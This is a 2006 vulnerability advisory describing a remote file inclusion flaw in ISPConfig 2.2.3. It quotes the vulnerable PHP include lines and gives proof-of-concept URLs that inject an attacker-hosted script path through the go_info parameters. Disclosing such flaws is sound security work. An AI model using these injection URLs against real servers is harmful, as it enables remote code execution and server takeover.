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[FSA016] ISPConfig 2.2.3, File inclusion vulnerability

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Advisory id: FSA:016

Author:    Federico Fazzi
Date:      14/06/2006, 18:57
Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability
Type:      high
Product:   http://www.ispconfig.org/
Patch:     unavailable
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1) Description:

Error occured in server.inc.php, line 35:

include_once($go_info["isp"]["classes_root"] .
$go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php");

Error occured in app.inc.php, line 48 - 49:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

Error occured in login.php, line 30 - 31:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

Error occured in trylogin.php, line 32 - 33:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

2) Proof of concept:

http://example/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go_info[isp][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/login.php?go_info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.php?go_info[server][classes_root]=[cmd_url]/
(note this is with final slash (/))

3) Solution:

declare all variables or global.